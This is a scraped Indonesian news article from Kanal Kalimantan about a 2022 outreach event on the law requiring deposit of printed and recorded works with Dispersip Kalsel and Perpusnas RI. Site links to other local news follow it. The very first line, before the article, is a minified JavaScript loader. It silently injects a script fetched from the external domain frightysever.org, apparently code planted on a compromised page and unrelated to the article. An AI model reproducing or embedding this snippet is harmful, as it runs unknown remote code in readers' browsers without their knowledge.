(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Dorong Karya Penulis Banua, Dispersip Kalsel-Perpusnas RI Ajak Simpan Karya di Perpustakaan


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel dan Perpustakaan Nasional (Perpusnas) RI mendorong para penulis Banua untuk bisa menciptakan karya berbasis cetak maupun rekam. Hal ini disampaikan saat sosialisasi Undang-undang Nomor 13 Tahun 2018 tentang Serah Simpan Karya Cetak dan Karya Rekam, di Hotel Royal Jelita, Kota Banjarmasin, Senin (4/7/2022).

Dalam sosialiasi tersebut, narasumber yaitu Emiyati Tangke Lembang, Direktur Deposit dan Pengembangan Koleksi Perpustakaan Perpusnas RI mendorong agar para penulis lokal dalam menerbitkan tulisannya, wajib tertib menyerahkan Karya Cetak dan Karya Rekam (KCKR) ke Dispersip setempat dan Perpusnas RI.

“Yang kemudian nantinya Perpusnas RI akan terus mendorong penerbit-penerbit khususnya Kalsel ini untuk menerbitkan buku-buku lokal konten atau buku-buku yang akan didayagunakan untuk oleh masyarakat setempat,” ujarnya.

Emiyati mencontohkan, seperti halnya di Kalsel yang memiliki banyak kebudayaan dari masyarakatnya yang seorang nelayan, petani hingga penambang, kemudian dari kebudayaan tersebut dapat diciptakan buku yang diminati masyarakat setempat.

 

Baca juga : Soal Mobil Alphard, ACT: Itu Inventaris dan Sudah Dijual Kembali

“Jadi perpustakaan hadir tidak hanya untuk mencerdaskan masyarakat, tetapi juga untuk menyejahterakan masyarakat kita,” terangnya.

Emiyati Tangke Lembang, Direktur Deposit dan Pengembangan Koleksi Perpustakaan Perpusnas RI. Foto: wanda

Dikatakannya bahwa 12 ribu penerbit dari seluruh Indonesia sudah terdata menyerahkan karya ke Dispersip setempat hingga Perpusnas RI. Sebagai bentuk nyata dorongannya, pihaknya pun dalam setiap tahun akan menyelenggarakan acara penghargaan untuk penerbit buku terbaik.

Namun, dengan catatan penerbit itu telah tertib menyerahkan karyanya ke koleksi Perpusnas RI.

“Kalau kiat-kiat dari Perpusnas setiap tahun kita membuatkan event penghargaan untuk penerbit, dengan catatan karyanya yang sudah diterbitkan atau dihimpun ke koleksi Perpusnas RI,” kata dia.

Baca juga  : Lukisan Mural “Tanah Bumbu Serambi Madinah” Mulai Warnai Kawasan Perkotaan

Hadirnya Undang-undang Serah Simpan Karya Cetak dan Karya Rekam (SSKCKR) merupakan bentuk nyata dari perkembangan teknologi informasi berupa buku digital, koran digital, hingga majalah digital. Semua itu adalah salah satu hasil budaya bangsa yang harus dilestarikan.

Pada kegiatan tersebut Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel, Wildan Akhyar yang mewakili Kepala Dispersip Kalsel membuka secara resmi Sosialisasi UU Serah Simpan Karya Cetak dan Karya Rekam.

Kepada wartawan Wildan Akhyar mengungkapkan, selain sebagai bentuk kewajiban menyerahkan hak cipta tersebut kepada Dinas Perpustakaan dan Perpusnas RI, pihaknya berkomitmen juga untuk melestarikan karya-karya dari para penulis lokal Banua.

Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel, Wildan Akhyar. Foto: wanda

“Alhamdulillah hari ini kita kehadiran narasumber yang luar biasa, dan ini adalah bentuk komitmen kami untuk tetap melestarikan karya-karya dari para penulis lokal di Kalimantan Selatan dan itu juga menyangkut kewajiban menyerahkan hak cipta tersebut,” ujarnya.

Baca juga  : Telusuri Aliran Dana ACT, PPATK Temukan Adanya Indikasi Penyalahgunaan

Pihaknya terus bersinergi bersama Dispersip dalam menyosiliasasikan UU, yang diketahui sudah memiliki payung hukum yang kuat tersebut, yaitu disertai dengan Peraturan Pemerintah Nomor 55 tahun 2022.

Dengan itu pihaknya berharap semua stakeholder, terutama warga Kalsel dapat wajib tertib menghimpun karyan ke dalam Dispersip dan Perpusnas RI, demi meningkatkan layanan publik yang berkualitas dan peningkatan kesejahteraan masyarakat Banua.

Sementara itu, dalam kegiatan sosialiasi itu pula dihadirkan seluruh stakeholder yang memiliki berkecimpung dalam dunia tulisan, seperti penulis buku, guru, dosen, hingga rekan media dan wartawan dari seluruh wilayah Kalimantan Selatan. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

4 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

7 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

13 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

14 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

16 jam ago

This website uses cookies.